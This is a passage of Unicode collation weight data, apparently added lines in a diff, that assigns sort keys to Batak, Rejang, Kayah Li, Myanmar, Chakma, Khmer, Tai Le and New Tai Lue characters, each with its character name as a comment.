+1BE0  ; [.2FE1.0020.0002] # BATAK LETTER NYA
+1BE1  ; [.2FE2.0020.0002] # BATAK LETTER CA
+1BE2  ; [.2FE3.0020.0002] # BATAK LETTER NDA
+1BE3  ; [.2FE4.0020.0002] # BATAK LETTER MBA
+1BE4  ; [.2FE5.0020.0002] # BATAK LETTER I
+1BE5  ; [.2FE6.0020.0002] # BATAK LETTER U
+1BE7  ; [.2FE7.0020.0002] # BATAK VOWEL SIGN E
+1BE8  ; [.2FE7.0020.0004] # BATAK VOWEL SIGN PAKPAK E
+1BE9  ; [.2FE8.0020.0002] # BATAK VOWEL SIGN EE
+1BEA  ; [.2FE9.0020.0002] # BATAK VOWEL SIGN I
+1BEB  ; [.2FE9.0020.0004] # BATAK VOWEL SIGN KARO I
+1BEC  ; [.2FEA.0020.0002] # BATAK VOWEL SIGN O
+1BED  ; [.2FEA.0020.0004] # BATAK VOWEL SIGN KARO O
+1BEE  ; [.2FEB.0020.0002] # BATAK VOWEL SIGN U
+1BEF  ; [.2FEB.0020.0004] # BATAK VOWEL SIGN U FOR SIMALUNGUN SA
+1BF0  ; [.2FEC.0020.0002] # BATAK CONSONANT SIGN NG
+1BF1  ; [.2FED.0020.0002] # BATAK CONSONANT SIGN H
+1BF2  ; [.2FEE.0020.0002] # BATAK PANGOLAT
+1BF3  ; [.2FEF.0020.0002] # BATAK PANONGONAN
+A930  ; [.2FF0.0020.0002] # REJANG LETTER KA
+A931  ; [.2FF1.0020.0002] # REJANG LETTER GA
+A932  ; [.2FF2.0020.0002] # REJANG LETTER NGA
+A933  ; [.2FF3.0020.0002] # REJANG LETTER TA
+A934  ; [.2FF4.0020.0002] # REJANG LETTER DA
+A935  ; [.2FF5.0020.0002] # REJANG LETTER NA
+A936  ; [.2FF6.0020.0002] # REJANG LETTER PA
+A937  ; [.2FF7.0020.0002] # REJANG LETTER BA
+A938  ; [.2FF8.0020.0002] # REJANG LETTER MA
+A939  ; [.2FF9.0020.0002] # REJANG LETTER CA
+A93A  ; [.2FFA.0020.0002] # REJANG LETTER JA
+A93B  ; [.2FFB.0020.0002] # REJANG LETTER NYA
+A93C  ; [.2FFC.0020.0002] # REJANG LETTER SA
+A93D  ; [.2FFD.0020.0002] # REJANG LETTER RA
+A93E  ; [.2FFE.0020.0002] # REJANG LETTER LA
+A93F  ; [.2FFF.0020.0002] # REJANG LETTER YA
+A940  ; [.3000.0020.0002] # REJANG LETTER WA
+A941  ; [.3001.0020.0002] # REJANG LETTER HA
+A942  ; [.3002.0020.0002] # REJANG LETTER MBA
+A943  ; [.3003.0020.0002] # REJANG LETTER NGGA
+A944  ; [.3004.0020.0002] # REJANG LETTER NDA
+A945  ; [.3005.0020.0002] # REJANG LETTER NYJA
+A946  ; [.3006.0020.0002] # REJANG LETTER A
+A947  ; [.3007.0020.0002] # REJANG VOWEL SIGN I
+A948  ; [.3008.0020.0002] # REJANG VOWEL SIGN U
+A949  ; [.3009.0020.0002] # REJANG VOWEL SIGN E
+A94A  ; [.300A.0020.0002] # REJANG VOWEL SIGN AI
+A94B  ; [.300B.0020.0002] # REJANG VOWEL SIGN O
+A94C  ; [.300C.0020.0002] # REJANG VOWEL SIGN AU
+A94D  ; [.300D.0020.0002] # REJANG VOWEL SIGN EU
+A94E  ; [.300E.0020.0002] # REJANG VOWEL SIGN EA
+A94F  ; [.300F.0020.0002] # REJANG CONSONANT SIGN NG
+A950  ; [.3010.0020.0002] # REJANG CONSONANT SIGN N
+A951  ; [.3011.0020.0002] # REJANG CONSONANT SIGN R
+A952  ; [.3012.0020.0002] # REJANG CONSONANT SIGN H
+A953  ; [.3013.0020.0002] # REJANG VIRAMA
+A90A  ; [.3014.0020.0002] # KAYAH LI LETTER KA
+A90B  ; [.3015.0020.0002] # KAYAH LI LETTER KHA
+A90C  ; [.3016.0020.0002] # KAYAH LI LETTER GA
+A90D  ; [.3017.0020.0002] # KAYAH LI LETTER NGA
+A90E  ; [.3018.0020.0002] # KAYAH LI LETTER SA
+A90F  ; [.3019.0020.0002] # KAYAH LI LETTER SHA
+A910  ; [.301A.0020.0002] # KAYAH LI LETTER ZA
+A911  ; [.301B.0020.0002] # KAYAH LI LETTER NYA
+A912  ; [.301C.0020.0002] # KAYAH LI LETTER TA
+A913  ; [.301D.0020.0002] # KAYAH LI LETTER HTA
+A914  ; [.301E.0020.0002] # KAYAH LI LETTER NA
+A915  ; [.301F.0020.0002] # KAYAH LI LETTER PA
+A916  ; [.3020.0020.0002] # KAYAH LI LETTER PHA
+A917  ; [.3021.0020.0002] # KAYAH LI LETTER MA
+A918  ; [.3022.0020.0002] # KAYAH LI LETTER DA
+A919  ; [.3023.0020.0002] # KAYAH LI LETTER BA
+A91A  ; [.3024.0020.0002] # KAYAH LI LETTER RA
+A91B  ; [.3025.0020.0002] # KAYAH LI LETTER YA
+A91C  ; [.3026.0020.0002] # KAYAH LI LETTER LA
+A91D  ; [.3027.0020.0002] # KAYAH LI LETTER WA
+A91E  ; [.3028.0020.0002] # KAYAH LI LETTER THA
+A91F  ; [.3029.0020.0002] # KAYAH LI LETTER HA
+A920  ; [.302A.0020.0002] # KAYAH LI LETTER VA
+A921  ; [.302B.0020.0002] # KAYAH LI LETTER CA
+A922  ; [.302C.0020.0002] # KAYAH LI LETTER A
+A923  ; [.302D.0020.0002] # KAYAH LI LETTER OE
+A924  ; [.302E.0020.0002] # KAYAH LI LETTER I
+A925  ; [.302F.0020.0002] # KAYAH LI LETTER OO
+A926  ; [.3030.0020.0002] # KAYAH LI VOWEL UE
+A927  ; [.3031.0020.0002] # KAYAH LI VOWEL E
+A928  ; [.3032.0020.0002] # KAYAH LI VOWEL U
+A929  ; [.3033.0020.0002] # KAYAH LI VOWEL EE
+A92A  ; [.3034.0020.0002] # KAYAH LI VOWEL O
+1000  ; [.3035.0020.0002] # MYANMAR LETTER KA
+1075  ; [.3036.0020.0002] # MYANMAR LETTER SHAN KA
+1001  ; [.3037.0020.0002] # MYANMAR LETTER KHA
+1076  ; [.3038.0020.0002] # MYANMAR LETTER SHAN KHA
+1002  ; [.3039.0020.0002] # MYANMAR LETTER GA
+1077  ; [.303A.0020.0002] # MYANMAR LETTER SHAN GA
+AA60  ; [.303B.0020.0002] # MYANMAR LETTER KHAMTI GA
+A9E9  ; [.303C.0020.0002] # MYANMAR LETTER TAI LAING GA
+1003  ; [.303D.0020.0002] # MYANMAR LETTER GHA
+A9E0  ; [.303E.0020.0002] # MYANMAR LETTER SHAN GHA
+A9EA  ; [.303F.0020.0002] # MYANMAR LETTER TAI LAING GHA
+1004  ; [.3040.0020.0002] # MYANMAR LETTER NGA
+105A  ; [.3041.0020.0002] # MYANMAR LETTER MON NGA
+1005  ; [.3042.0020.0002] # MYANMAR LETTER CA
+1078  ; [.3043.0020.0002] # MYANMAR LETTER SHAN CA
+AA61  ; [.3044.0020.0002] # MYANMAR LETTER KHAMTI CA
+1006  ; [.3045.0020.0002] # MYANMAR LETTER CHA
+A9E1  ; [.3046.0020.0002] # MYANMAR LETTER SHAN CHA
+AA62  ; [.3047.0020.0002] # MYANMAR LETTER KHAMTI CHA
+AA7E  ; [.3048.0020.0002] # MYANMAR LETTER SHWE PALAUNG CHA
+1007  ; [.3049.0020.0002] # MYANMAR LETTER JA
+AA63  ; [.304A.0020.0002] # MYANMAR LETTER KHAMTI JA
+A9EB  ; [.304B.0020.0002] # MYANMAR LETTER TAI LAING JA
+1079  ; [.304C.0020.0002] # MYANMAR LETTER SHAN ZA
+AA72  ; [.304D.0020.0002] # MYANMAR LETTER KHAMTI ZA
+1008  ; [.304E.0020.0002] # MYANMAR LETTER JHA
+105B  ; [.304F.0020.0002] # MYANMAR LETTER MON JHA
+A9E2  ; [.3050.0020.0002] # MYANMAR LETTER SHAN JHA
+AA64  ; [.3051.0020.0002] # MYANMAR LETTER KHAMTI JHA
+A9EC  ; [.3052.0020.0002] # MYANMAR LETTER TAI LAING JHA
+1061  ; [.3053.0020.0002] # MYANMAR LETTER SGAW KAREN SHA
+AA7F  ; [.3054.0020.0002] # MYANMAR LETTER SHWE PALAUNG SHA
+1009  ; [.3055.0020.0002] # MYANMAR LETTER NYA
+107A  ; [.3056.0020.0002] # MYANMAR LETTER SHAN NYA
+AA65  ; [.3057.0020.0002] # MYANMAR LETTER KHAMTI NYA
+A9E7  ; [.3058.0020.0002] # MYANMAR LETTER TAI LAING NYA
+100A  ; [.3059.0020.0002] # MYANMAR LETTER NNYA
+100B  ; [.305A.0020.0002] # MYANMAR LETTER TTA
+AA66  ; [.305B.0020.0002] # MYANMAR LETTER KHAMTI TTA
+100C  ; [.305C.0020.0002] # MYANMAR LETTER TTHA
+AA67  ; [.305D.0020.0002] # MYANMAR LETTER KHAMTI TTHA
+100D  ; [.305E.0020.0002] # MYANMAR LETTER DDA
+AA68  ; [.305F.0020.0002] # MYANMAR LETTER KHAMTI DDA
+A9ED  ; [.3060.0020.0002] # MYANMAR LETTER TAI LAING DDA
+100E  ; [.3061.0020.0002] # MYANMAR LETTER DDHA
+AA69  ; [.3062.0020.0002] # MYANMAR LETTER KHAMTI DDHA
+A9EE  ; [.3063.0020.0002] # MYANMAR LETTER TAI LAING DDHA
+100F  ; [.3064.0020.0002] # MYANMAR LETTER NNA
+106E  ; [.3065.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN NNA
+A9E3  ; [.3066.0020.0002] # MYANMAR LETTER SHAN NNA
+A9EF  ; [.3067.0020.0002] # MYANMAR LETTER TAI LAING NNA
+1010  ; [.3068.0020.0002] # MYANMAR LETTER TA
+1011  ; [.3069.0020.0002] # MYANMAR LETTER THA
+1012  ; [.306A.0020.0002] # MYANMAR LETTER DA
+107B  ; [.306B.0020.0002] # MYANMAR LETTER SHAN DA
+A9FB  ; [.306C.0020.0002] # MYANMAR LETTER TAI LAING DA
+1013  ; [.306D.0020.0002] # MYANMAR LETTER DHA
+AA6A  ; [.306E.0020.0002] # MYANMAR LETTER KHAMTI DHA
+A9FC  ; [.306F.0020.0002] # MYANMAR LETTER TAI LAING DHA
+1014  ; [.3070.0020.0002] # MYANMAR LETTER NA
+107C  ; [.3071.0020.0002] # MYANMAR LETTER SHAN NA
+AA6B  ; [.3072.0020.0002] # MYANMAR LETTER KHAMTI NA
+105E  ; [.3073.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL NA
+1015  ; [.3074.0020.0002] # MYANMAR LETTER PA
+1016  ; [.3075.0020.0002] # MYANMAR LETTER PHA
+107D  ; [.3076.0020.0002] # MYANMAR LETTER SHAN PHA
+107E  ; [.3077.0020.0002] # MYANMAR LETTER SHAN FA
+AA6F  ; [.3078.0020.0002] # MYANMAR LETTER KHAMTI FA
+108E  ; [.3079.0020.0002] # MYANMAR LETTER RUMAI PALAUNG FA
+A9E8  ; [.307A.0020.0002] # MYANMAR LETTER TAI LAING FA
+1017  ; [.307B.0020.0002] # MYANMAR LETTER BA
+107F  ; [.307C.0020.0002] # MYANMAR LETTER SHAN BA
+A9FD  ; [.307D.0020.0002] # MYANMAR LETTER TAI LAING BA
+1018  ; [.307E.0020.0002] # MYANMAR LETTER BHA
+A9E4  ; [.307F.0020.0002] # MYANMAR LETTER SHAN BHA
+A9FE  ; [.3080.0020.0002] # MYANMAR LETTER TAI LAING BHA
+1019  ; [.3081.0020.0002] # MYANMAR LETTER MA
+105F  ; [.3082.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL MA
+101A  ; [.3083.0020.0002] # MYANMAR LETTER YA
+103B  ; [.3084.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL YA
+101B  ; [.3085.0020.0002] # MYANMAR LETTER RA
+AA73  ; [.3086.0020.0002] # MYANMAR LETTER KHAMTI RA
+AA7A  ; [.3087.0020.0002] # MYANMAR LETTER AITON RA
+103C  ; [.3088.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL RA
+101C  ; [.3089.0020.0002] # MYANMAR LETTER LA
+1060  ; [.308A.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL LA
+101D  ; [.308B.0020.0002] # MYANMAR LETTER WA
+103D  ; [.308C.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL WA
+1082  ; [.308D.0020.0002] # MYANMAR CONSONANT SIGN SHAN MEDIAL WA
+1080  ; [.308E.0020.0002] # MYANMAR LETTER SHAN THA
+1050  ; [.308F.0020.0002] # MYANMAR LETTER SHA
+1051  ; [.3090.0020.0002] # MYANMAR LETTER SSA
+1065  ; [.3091.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN THA
+101E  ; [.3092.0020.0002] # MYANMAR LETTER SA
+103F  ; [.3092.0020.0004][.30CB.0020.0004][.3092.0020.0004] # MYANMAR LETTER GREAT SA
+AA6C  ; [.3093.0020.0002] # MYANMAR LETTER KHAMTI SA
+101F  ; [.3094.0020.0002] # MYANMAR LETTER HA
+1081  ; [.3095.0020.0002] # MYANMAR LETTER SHAN HA
+AA6D  ; [.3096.0020.0002] # MYANMAR LETTER KHAMTI HA
+103E  ; [.3097.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL HA
+AA6E  ; [.3098.0020.0002] # MYANMAR LETTER KHAMTI HHA
+AA71  ; [.3099.0020.0002] # MYANMAR LETTER KHAMTI XA
+1020  ; [.309A.0020.0002] # MYANMAR LETTER LLA
+A9FA  ; [.309B.0020.0002] # MYANMAR LETTER TAI LAING LLA
+105C  ; [.309C.0020.0002] # MYANMAR LETTER MON BBA
+105D  ; [.309D.0020.0002] # MYANMAR LETTER MON BBE
+106F  ; [.309E.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN YWA
+1070  ; [.309F.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN GHWA
+1066  ; [.30A0.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN PWA
+1021  ; [.30A1.0020.0002] # MYANMAR LETTER A
+1022  ; [.30A2.0020.0002] # MYANMAR LETTER SHAN A
+1023  ; [.30A3.0020.0002] # MYANMAR LETTER I
+1024  ; [.30A4.0020.0002] # MYANMAR LETTER II
+1025  ; [.30A5.0020.0002] # MYANMAR LETTER U
+1026  ; [.30A6.0020.0002] # MYANMAR LETTER UU
+1025 102E ; [.30A6.0020.0002] # MYANMAR LETTER UU
+1052  ; [.30A7.0020.0002] # MYANMAR LETTER VOCALIC R
+1053  ; [.30A8.0020.0002] # MYANMAR LETTER VOCALIC RR
+1054  ; [.30A9.0020.0002] # MYANMAR LETTER VOCALIC L
+1055  ; [.30AA.0020.0002] # MYANMAR LETTER VOCALIC LL
+1027  ; [.30AB.0020.0002] # MYANMAR LETTER E
+1028  ; [.30AC.0020.0002] # MYANMAR LETTER MON E
+1029  ; [.30AD.0020.0002] # MYANMAR LETTER O
+102A  ; [.30AE.0020.0002] # MYANMAR LETTER AU
+102C  ; [.30AF.0020.0002] # MYANMAR VOWEL SIGN AA
+102B  ; [.30AF.0020.0004] # MYANMAR VOWEL SIGN TALL AA
+1083  ; [.30B0.0020.0002] # MYANMAR VOWEL SIGN SHAN AA
+1072  ; [.30B1.0020.0002] # MYANMAR VOWEL SIGN KAYAH OE
+109C  ; [.30B2.0020.0002] # MYANMAR VOWEL SIGN AITON A
+102D  ; [.30B3.0020.0002] # MYANMAR VOWEL SIGN I
+1071  ; [.30B4.0020.0002] # MYANMAR VOWEL SIGN GEBA KAREN I
+102E  ; [.30B5.0020.0002] # MYANMAR VOWEL SIGN II
+1033  ; [.30B6.0020.0002] # MYANMAR VOWEL SIGN MON II
+102F  ; [.30B7.0020.0002] # MYANMAR VOWEL SIGN U
+1073  ; [.30B8.0020.0002] # MYANMAR VOWEL SIGN KAYAH U
+1074  ; [.30B9.0020.0002] # MYANMAR VOWEL SIGN KAYAH EE
+1030  ; [.30BA.0020.0002] # MYANMAR VOWEL SIGN UU
+1056  ; [.30BB.0020.0002] # MYANMAR VOWEL SIGN VOCALIC R
+1057  ; [.30BC.0020.0002] # MYANMAR VOWEL SIGN VOCALIC RR
+1058  ; [.30BD.0020.0002] # MYANMAR VOWEL SIGN VOCALIC L
+1059  ; [.30BE.0020.0002] # MYANMAR VOWEL SIGN VOCALIC LL
+1031  ; [.30BF.0020.0002] # MYANMAR VOWEL SIGN E
+1084  ; [.30C0.0020.0002] # MYANMAR VOWEL SIGN SHAN E
+1035  ; [.30C1.0020.0002] # MYANMAR VOWEL SIGN E ABOVE
+1085  ; [.30C2.0020.0002] # MYANMAR VOWEL SIGN SHAN E ABOVE
+1032  ; [.30C3.0020.0002] # MYANMAR VOWEL SIGN AI
+109D  ; [.30C4.0020.0002] # MYANMAR VOWEL SIGN AITON AI
+1034  ; [.30C5.0020.0002] # MYANMAR VOWEL SIGN MON O
+1062  ; [.30C6.0020.0002] # MYANMAR VOWEL SIGN SGAW KAREN EU
+1067  ; [.30C7.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN EU
+1068  ; [.30C8.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN UE
+A9E5  ; [.30C9.0020.0002] # MYANMAR SIGN SHAN SAW
+1086  ; [.30CA.0020.0002] # MYANMAR VOWEL SIGN SHAN FINAL Y
+1039  ; [.30CB.0020.0002] # MYANMAR SIGN VIRAMA
+103A  ; [.30CC.0020.0002] # MYANMAR SIGN ASAT
+1063  ; [.30CD.0020.0002] # MYANMAR TONE MARK SGAW KAREN HATHI
+1064  ; [.30CE.0020.0002] # MYANMAR TONE MARK SGAW KAREN KE PHO
+1069  ; [.30CF.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-1
+106A  ; [.30D0.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-2
+106B  ; [.30D1.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-3
+106C  ; [.30D2.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-4
+106D  ; [.30D3.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-5
+1087  ; [.30D4.0020.0002] # MYANMAR SIGN SHAN TONE-2
+108B  ; [.30D5.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-2
+1088  ; [.30D6.0020.0002] # MYANMAR SIGN SHAN TONE-3
+108C  ; [.30D7.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-3
+108D  ; [.30D8.0020.0002] # MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE
+1089  ; [.30D9.0020.0002] # MYANMAR SIGN SHAN TONE-5
+108A  ; [.30DA.0020.0002] # MYANMAR SIGN SHAN TONE-6
+108F  ; [.30DB.0020.0002] # MYANMAR SIGN RUMAI PALAUNG TONE-5
+109A  ; [.30DC.0020.0002] # MYANMAR SIGN KHAMTI TONE-1
+109B  ; [.30DD.0020.0002] # MYANMAR SIGN KHAMTI TONE-3
+AA7B  ; [.30DE.0020.0002] # MYANMAR SIGN PAO KAREN TONE
+AA7C  ; [.30DF.0020.0002] # MYANMAR SIGN TAI LAING TONE-2
+AA7D  ; [.30E0.0020.0002] # MYANMAR SIGN TAI LAING TONE-5
+AA74  ; [.30E1.0020.0002] # MYANMAR LOGOGRAM KHAMTI OAY
+AA75  ; [.30E2.0020.0002] # MYANMAR LOGOGRAM KHAMTI QN
+AA76  ; [.30E3.0020.0002] # MYANMAR LOGOGRAM KHAMTI HM
+11103 ; [.30E4.0020.0002] # CHAKMA LETTER AA
+11104 ; [.30E5.0020.0002] # CHAKMA LETTER I
+11105 ; [.30E6.0020.0002] # CHAKMA LETTER U
+11106 ; [.30E7.0020.0002] # CHAKMA LETTER E
+11107 ; [.30E8.0020.0002] # CHAKMA LETTER KAA
+11108 ; [.30E9.0020.0002] # CHAKMA LETTER KHAA
+11109 ; [.30EA.0020.0002] # CHAKMA LETTER GAA
+1110A ; [.30EB.0020.0002] # CHAKMA LETTER GHAA
+1110B ; [.30EC.0020.0002] # CHAKMA LETTER NGAA
+1110C ; [.30ED.0020.0002] # CHAKMA LETTER CAA
+1110D ; [.30EE.0020.0002] # CHAKMA LETTER CHAA
+1110E ; [.30EF.0020.0002] # CHAKMA LETTER JAA
+1110F ; [.30F0.0020.0002] # CHAKMA LETTER JHAA
+11110 ; [.30F1.0020.0002] # CHAKMA LETTER NYAA
+11111 ; [.30F2.0020.0002] # CHAKMA LETTER TTAA
+11112 ; [.30F3.0020.0002] # CHAKMA LETTER TTHAA
+11113 ; [.30F4.0020.0002] # CHAKMA LETTER DDAA
+11114 ; [.30F5.0020.0002] # CHAKMA LETTER DDHAA
+11115 ; [.30F6.0020.0002] # CHAKMA LETTER NNAA
+11116 ; [.30F7.0020.0002] # CHAKMA LETTER TAA
+11117 ; [.30F8.0020.0002] # CHAKMA LETTER THAA
+11118 ; [.30F9.0020.0002] # CHAKMA LETTER DAA
+11119 ; [.30FA.0020.0002] # CHAKMA LETTER DHAA
+1111A ; [.30FB.0020.0002] # CHAKMA LETTER NAA
+1111B ; [.30FC.0020.0002] # CHAKMA LETTER PAA
+1111C ; [.30FD.0020.0002] # CHAKMA LETTER PHAA
+1111D ; [.30FE.0020.0002] # CHAKMA LETTER BAA
+1111E ; [.30FF.0020.0002] # CHAKMA LETTER BHAA
+1111F ; [.3100.0020.0002] # CHAKMA LETTER MAA
+11120 ; [.3101.0020.0002] # CHAKMA LETTER YYAA
+11121 ; [.3102.0020.0002] # CHAKMA LETTER YAA
+11122 ; [.3103.0020.0002] # CHAKMA LETTER RAA
+11123 ; [.3104.0020.0002] # CHAKMA LETTER LAA
+11124 ; [.3105.0020.0002] # CHAKMA LETTER WAA
+11125 ; [.3106.0020.0002] # CHAKMA LETTER SAA
+11126 ; [.3107.0020.0002] # CHAKMA LETTER HAA
+11127 ; [.3108.0020.0002] # CHAKMA VOWEL SIGN A
+11128 ; [.3109.0020.0002] # CHAKMA VOWEL SIGN I
+11129 ; [.310A.0020.0002] # CHAKMA VOWEL SIGN II
+1112A ; [.310B.0020.0002] # CHAKMA VOWEL SIGN U
+1112B ; [.310C.0020.0002] # CHAKMA VOWEL SIGN UU
+1112C ; [.310D.0020.0002] # CHAKMA VOWEL SIGN E
+1112D ; [.310E.0020.0002] # CHAKMA VOWEL SIGN AI
+1112E ; [.310F.0020.0002] # CHAKMA VOWEL SIGN O
+11131 11127 ; [.310F.0020.0002] # CHAKMA VOWEL SIGN O
+1112F ; [.3110.0020.0002] # CHAKMA VOWEL SIGN AU
+11132 11127 ; [.3110.0020.0002] # CHAKMA VOWEL SIGN AU
+11130 ; [.3111.0020.0002] # CHAKMA VOWEL SIGN OI
+11131 ; [.3112.0020.0002] # CHAKMA O MARK
+11132 ; [.3113.0020.0002] # CHAKMA AU MARK
+11133 ; [.3114.0020.0002] # CHAKMA VIRAMA
+11134 ; [.3115.0020.0002] # CHAKMA MAAYYAA
+1780  ; [.3116.0020.0002] # KHMER LETTER KA
+1781  ; [.3117.0020.0002] # KHMER LETTER KHA
+1782  ; [.3118.0020.0002] # KHMER LETTER KO
+1783  ; [.3119.0020.0002] # KHMER LETTER KHO
+1784  ; [.311A.0020.0002] # KHMER LETTER NGO
+1785  ; [.311B.0020.0002] # KHMER LETTER CA
+1786  ; [.311C.0020.0002] # KHMER LETTER CHA
+1787  ; [.311D.0020.0002] # KHMER LETTER CO
+1788  ; [.311E.0020.0002] # KHMER LETTER CHO
+1789  ; [.311F.0020.0002] # KHMER LETTER NYO
+178A  ; [.3120.0020.0002] # KHMER LETTER DA
+178B  ; [.3121.0020.0002] # KHMER LETTER TTHA
+178C  ; [.3122.0020.0002] # KHMER LETTER DO
+178D  ; [.3123.0020.0002] # KHMER LETTER TTHO
+178E  ; [.3124.0020.0002] # KHMER LETTER NNO
+178F  ; [.3125.0020.0002] # KHMER LETTER TA
+1790  ; [.3126.0020.0002] # KHMER LETTER THA
+1791  ; [.3127.0020.0002] # KHMER LETTER TO
+1792  ; [.3128.0020.0002] # KHMER LETTER THO
+1793  ; [.3129.0020.0002] # KHMER LETTER NO
+1794  ; [.312A.0020.0002] # KHMER LETTER BA
+1795  ; [.312B.0020.0002] # KHMER LETTER PHA
+1796  ; [.312C.0020.0002] # KHMER LETTER PO
+1797  ; [.312D.0020.0002] # KHMER LETTER PHO
+1798  ; [.312E.0020.0002] # KHMER LETTER MO
+1799  ; [.312F.0020.0002] # KHMER LETTER YO
+179A  ; [.3130.0020.0002] # KHMER LETTER RO
+179B  ; [.3131.0020.0002] # KHMER LETTER LO
+179C  ; [.3132.0020.0002] # KHMER LETTER VO
+179D  ; [.3133.0020.0002] # KHMER LETTER SHA
+179E  ; [.3134.0020.0002] # KHMER LETTER SSO
+179F  ; [.3135.0020.0002] # KHMER LETTER SA
+17A0  ; [.3136.0020.0002] # KHMER LETTER HA
+17A1  ; [.3137.0020.0002] # KHMER LETTER LA
+17A2  ; [.3138.0020.0002] # KHMER LETTER QA
+17DC  ; [.3139.0020.0002] # KHMER SIGN AVAKRAHASANYA
+17A3  ; [.313A.0020.0002] # KHMER INDEPENDENT VOWEL QAQ
+17A4  ; [.313B.0020.0002] # KHMER INDEPENDENT VOWEL QAA
+17A5  ; [.313C.0020.0002] # KHMER INDEPENDENT VOWEL QI
+17A6  ; [.313D.0020.0002] # KHMER INDEPENDENT VOWEL QII
+17A7  ; [.313E.0020.0002] # KHMER INDEPENDENT VOWEL QU
+17A8  ; [.313F.0020.0002] # KHMER INDEPENDENT VOWEL QUK
+17A9  ; [.3140.0020.0002] # KHMER INDEPENDENT VOWEL QUU
+17AA  ; [.3141.0020.0002] # KHMER INDEPENDENT VOWEL QUUV
+17AB  ; [.3142.0020.0002] # KHMER INDEPENDENT VOWEL RY
+17AC  ; [.3143.0020.0002] # KHMER INDEPENDENT VOWEL RYY
+17AD  ; [.3144.0020.0002] # KHMER INDEPENDENT VOWEL LY
+17AE  ; [.3145.0020.0002] # KHMER INDEPENDENT VOWEL LYY
+17AF  ; [.3146.0020.0002] # KHMER INDEPENDENT VOWEL QE
+17B0  ; [.3147.0020.0002] # KHMER INDEPENDENT VOWEL QAI
+17B1  ; [.3148.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE ONE
+17B2  ; [.3149.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE TWO
+17B3  ; [.314A.0020.0002] # KHMER INDEPENDENT VOWEL QAU
+17B6  ; [.314B.0020.0002] # KHMER VOWEL SIGN AA
+17B7  ; [.314C.0020.0002] # KHMER VOWEL SIGN I
+17B8  ; [.314D.0020.0002] # KHMER VOWEL SIGN II
+17B9  ; [.314E.0020.0002] # KHMER VOWEL SIGN Y
+17BA  ; [.314F.0020.0002] # KHMER VOWEL SIGN YY
+17BB  ; [.3150.0020.0002] # KHMER VOWEL SIGN U
+17BC  ; [.3151.0020.0002] # KHMER VOWEL SIGN UU
+17BD  ; [.3152.0020.0002] # KHMER VOWEL SIGN UA
+17BE  ; [.3153.0020.0002] # KHMER VOWEL SIGN OE
+17BF  ; [.3154.0020.0002] # KHMER VOWEL SIGN YA
+17C0  ; [.3155.0020.0002] # KHMER VOWEL SIGN IE
+17C1  ; [.3156.0020.0002] # KHMER VOWEL SIGN E
+17C2  ; [.3157.0020.0002] # KHMER VOWEL SIGN AE
+17C3  ; [.3158.0020.0002] # KHMER VOWEL SIGN AI
+17C4  ; [.3159.0020.0002] # KHMER VOWEL SIGN OO
+17C5  ; [.315A.0020.0002] # KHMER VOWEL SIGN AU
+17D2  ; [.315B.0020.0002] # KHMER SIGN COENG
+1950  ; [.315C.0020.0002] # TAI LE LETTER KA
+1951  ; [.315D.0020.0002] # TAI LE LETTER XA
+1952  ; [.315E.0020.0002] # TAI LE LETTER NGA
+1953  ; [.315F.0020.0002] # TAI LE LETTER TSA
+1954  ; [.3160.0020.0002] # TAI LE LETTER SA
+1955  ; [.3161.0020.0002] # TAI LE LETTER YA
+1956  ; [.3162.0020.0002] # TAI LE LETTER TA
+1957  ; [.3163.0020.0002] # TAI LE LETTER THA
+1958  ; [.3164.0020.0002] # TAI LE LETTER LA
+1959  ; [.3165.0020.0002] # TAI LE LETTER PA
+195A  ; [.3166.0020.0002] # TAI LE LETTER PHA
+195B  ; [.3167.0020.0002] # TAI LE LETTER MA
+195C  ; [.3168.0020.0002] # TAI LE LETTER FA
+195D  ; [.3169.0020.0002] # TAI LE LETTER VA
+195E  ; [.316A.0020.0002] # TAI LE LETTER HA
+195F  ; [.316B.0020.0002] # TAI LE LETTER QA
+1960  ; [.316C.0020.0002] # TAI LE LETTER KHA
+1961  ; [.316D.0020.0002] # TAI LE LETTER TSHA
+1962  ; [.316E.0020.0002] # TAI LE LETTER NA
+1963  ; [.316F.0020.0002] # TAI LE LETTER A
+1964  ; [.3170.0020.0002] # TAI LE LETTER I
+1965  ; [.3171.0020.0002] # TAI LE LETTER EE
+1966  ; [.3172.0020.0002] # TAI LE LETTER EH
+1967  ; [.3173.0020.0002] # TAI LE LETTER U
+1968  ; [.3174.0020.0002] # TAI LE LETTER OO
+1969  ; [.3175.0020.0002] # TAI LE LETTER O
+196A  ; [.3176.0020.0002] # TAI LE LETTER UE
+196B  ; [.3177.0020.0002] # TAI LE LETTER E
+196C  ; [.3178.0020.0002] # TAI LE LETTER AUE
+196D  ; [.3179.0020.0002] # TAI LE LETTER AI
+1970  ; [.317A.0020.0002] # TAI LE LETTER TONE-2
+1971  ; [.317B.0020.0002] # TAI LE LETTER TONE-3
+1972  ; [.317C.0020.0002] # TAI LE LETTER TONE-4
+1973  ; [.317D.0020.0002] # TAI LE LETTER TONE-5
+1974  ; [.317E.0020.0002] # TAI LE LETTER TONE-6
+1980  ; [.317F.0020.0002] # NEW TAI LUE LETTER HIGH QA
+19B5 1980 ; [.317F.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH QA>
